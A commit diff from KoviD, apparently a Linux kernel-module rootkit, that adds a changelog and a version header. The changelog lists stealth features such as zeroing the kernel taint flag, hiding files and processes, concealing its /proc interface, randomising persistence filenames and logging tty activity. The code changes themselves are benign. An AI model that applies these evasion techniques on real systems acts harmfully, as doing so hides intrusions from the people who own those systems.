Add changelog

CHANGELOG.md

@@ -0,0 +1,25 @@
+# Changelog
+
+All notable changes to KoviD will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/).
+
+## 2.0.0 - Oct 2 2024
+### Added
+- Zero `/proc/sys/kernel/tainted`
+- Added "-g" proc interface to support inode hiding files globally
+- Added cheatsheet docfile for KoviD user interface
+
+### Changed
+- Remove magic word from syslog output, use KoviD /proc interface instead.
+- Add syslog-style timestamp to `tty` logfile
+- Modified "-a" proc interface to support full-path file hiding
+- Set persistence filenames from uuidgen output
+
+### Fixed
+- [Fix hidden process leftover in /proc](https://github.com/carloslack/KoviD/issues/100)
+- Hide kovid /proc interface even when it is available
+- Fix pr(info/warn/...) to proper no-op when in release mode
+
+
+

src/kovid.c

@@ -26,6 +26,7 @@
 
 #include "lkm.h"
 #include "fs.h"
+#include "version.h"
 
 #define MAX_PROCFS_SIZE PAGE_SIZE
 #define MAX_MAGIC_WORD_SIZE 16
@@ -41,7 +42,7 @@
 #ifndef PRCTIMEOUT
 /**
  * default timeout seconds
- * before /proc/kovid is removed
+ * before /proc/<name> is removed
  */
 #define _PRCTIMEOUT 360
 #else
@@ -89,7 +90,6 @@ static const struct __lkmmod_t lkmmod = {
     .this_mod = THIS_MODULE,
 };
 
-
 /*
  * kernel structures so the compiler
  * can know about sizes and data types
@@ -736,6 +736,10 @@ static int __init kv_init(void) {
 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0)
     struct kernel_syscalls *kaddr = NULL;
 #endif
+
+    /** show current version for when running in debug mode */
+    prinfo("KoviD version %s\n", KOVID_VERSION);
+
     if (strlen(PROCNAME) == 0) {
         procname_err = "Empty PROCNAME build parameter. Check Makefile.";
     } else if (!strncmp(PROCNAME, "changeme", 5)) {

src/version.h

@@ -0,0 +1,7 @@
+#ifndef __VERSION_H
+#define __VERSION_H
+
+#define KOVID_VERSION "2.0.0"
+
+#endif // __VERSION_H
+